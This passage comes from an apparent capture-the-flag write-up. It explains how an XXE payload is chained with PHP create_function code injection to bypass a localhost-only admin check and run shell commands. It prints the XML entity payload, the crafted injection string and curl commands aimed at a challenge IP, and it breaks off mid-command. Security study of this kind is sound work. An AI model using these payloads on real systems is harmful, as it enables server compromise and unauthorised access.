&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     $html&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;&#x2F;div&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     echo&lt;&#x2F;span&gt;&lt;span&gt; $html&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     $html&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Error, not found XML file!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     $html&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     $html&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;pre&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     $html&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; $file&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     $html&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;&#x2F;pre&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     $hmlt&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;&#x2F;code&amp;gt;&amp;lt;&#x2F;code&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     echo&lt;&#x2F;span&gt;&lt;span&gt; $html&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method in PHP, meaning if we can reach that part of the code, essentially we can achieve code execution on the server. Now the problem is how to do that since this function can only be called if the request is coming from localhost.&lt;&#x2F;p&gt;
&lt;p&gt;Remember the Test function accessible via the &#x2F;custom path? That’s our way in! This function receives some input and then parse it as XML. We can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allows us to load remote (or internal) resources.&lt;&#x2F;p&gt;
&lt;p&gt;I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span&gt; url&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;http:&#x2F;&#x2F;68.183.31.62:94&#x2F;custom&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span&gt; xml_content&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; ?&amp;gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY test SYSTEM &amp;quot;php:&#x2F;&#x2F;filter&#x2F;convert.base64-encode&#x2F;resource=https:&#x2F;&#x2F;www.google.com&amp;quot;&amp;gt;]&amp;gt;&amp;lt;root&amp;gt;&amp;lt;name&amp;gt;&amp;amp;test;&amp;lt;&#x2F;name&amp;gt;&amp;lt;&#x2F;root&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span&gt; curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;request&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; POST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;url&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$url&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;header&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cache-control: no-cache&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;header&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;content-type: application&#x2F;xml&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$xml_content&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span&gt; base64&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In the second line we are defining our XML payload. We are trying to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called &lt;strong&gt;test&lt;&#x2F;strong&gt; (wrapped by root and name tags), then we are doing a post request to the vulnerable service. If you are wondering why do we need &amp;amp;test; in the XML body that’s because our payload will be handled by:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; simplexml_load_string&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$string&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;SimpleXMLElement&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;LIBXML_NOENT&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$test&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; $root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;name&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;echo&lt;&#x2F;span&gt;&lt;span&gt; $test&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The simplexml_load_string is going to process our input and then return an object. That object is expected to have a name attribute which is stored in the $test variable and then printed to the user. We are essentially using this vulnerable service as a proxy.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;security-conference-5.jpg&quot; alt=&quot;Capture the Flag&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now, instead of querying &lt;a href=&quot;https:&#x2F;&#x2F;www.google.com&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;https:&#x2F;&#x2F;www.google.com&lt;&#x2F;a&gt;, we are going to do a request to http:&#x2F;&#x2F;68.183.31.62:94&#x2F;admin?rss=SOME_URL&amp;amp;order=PAYLOAD and since the IP address of the server is the same IP of the client making the request (localhost) boom! We just bypassed the admin validation and now can reach the vulnerable sort function in the Admin controller.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;security-conference-7.jpg&quot; alt=&quot;Capture the Flag competition&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Exploiting the create_function call was a little bit tricky at the beginning it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.&lt;&#x2F;p&gt;
&lt;p&gt;According to the PHP documentation, this function receives two string parameters:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;the first one is the parameters&lt;&#x2F;li&gt;
&lt;li&gt;and the second one is the actual code of the function we want to generate.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.&lt;&#x2F;p&gt;
&lt;p&gt;After some thinking I came with this payload, I’ll explain why.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$order&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; id&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; null&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; die&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;shell_exec&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;ls -la &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span&gt;$aaa&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The original piece of code looks like this.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;usort&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$data&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; create_function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$a, $b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;return strcmp($a-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;$order&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;,$b-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;$order&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;);&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;When I replace the $order variable with my payload at runtime the final code will look like this.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;usort&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;$data&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; create_function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$a, $b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;return strcmp($a-&amp;gt;id, null) &amp;amp;&amp;amp; die(shell_exec(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;ls&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;la&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;)); ($aaa=&amp;quot;,$b-&amp;gt;id, null) &amp;amp;&amp;amp; die(shell_exec(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;ls&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt;la&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;)); ($aaa=&amp;quot;);&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Maybe I over complicate things but I remember having some issues with single, double quotes and parentheses. Anyway, the result is valid PHP code, the ($aaa=“ thing at the end is important because it allows us to wrap the rest of the code, everything after the shell_exec function will be ignored.&lt;&#x2F;p&gt;
&lt;p&gt;Note: Since I had access to the source code I did several tests on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.&lt;&#x2F;p&gt;
&lt;p&gt;Putting everything together looks like this.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span&gt; url&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;http:&#x2F;&#x2F;68.183.31.62:94&#x2F;custom&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span&gt; xml_content&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; ?&amp;gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY test SYSTEM &amp;quot;php:&#x2F;&#x2F;filter&#x2F;convert.base64-encode&#x2F;resource=http:&#x2F;&#x2F;localhost&#x2F;admin?rss=https%3A%2F%2Fwww.website.com%2Fpath%2Fxxe.xml&amp;amp;order=id%2C%20null)%20%26%26%20die(shell_exec(%27ls%20-la%20%2F%27))%3B%20(%24aaa%3D%22&amp;quot;&amp;gt;]&amp;gt;&amp;lt;root&amp;gt;&amp;lt;name&amp;gt;&amp;amp;test;&amp;lt;&#x2F;name&amp;gt;&amp;lt;&#x2F;root&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span&gt; curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;request&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; POST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;url&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$url&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;header&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;cache-control: no-cache&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;header&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;content-type: application&#x2F;xml&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; --&lt;&#x2F;span&gt;&lt;span&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;$xml_content&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: 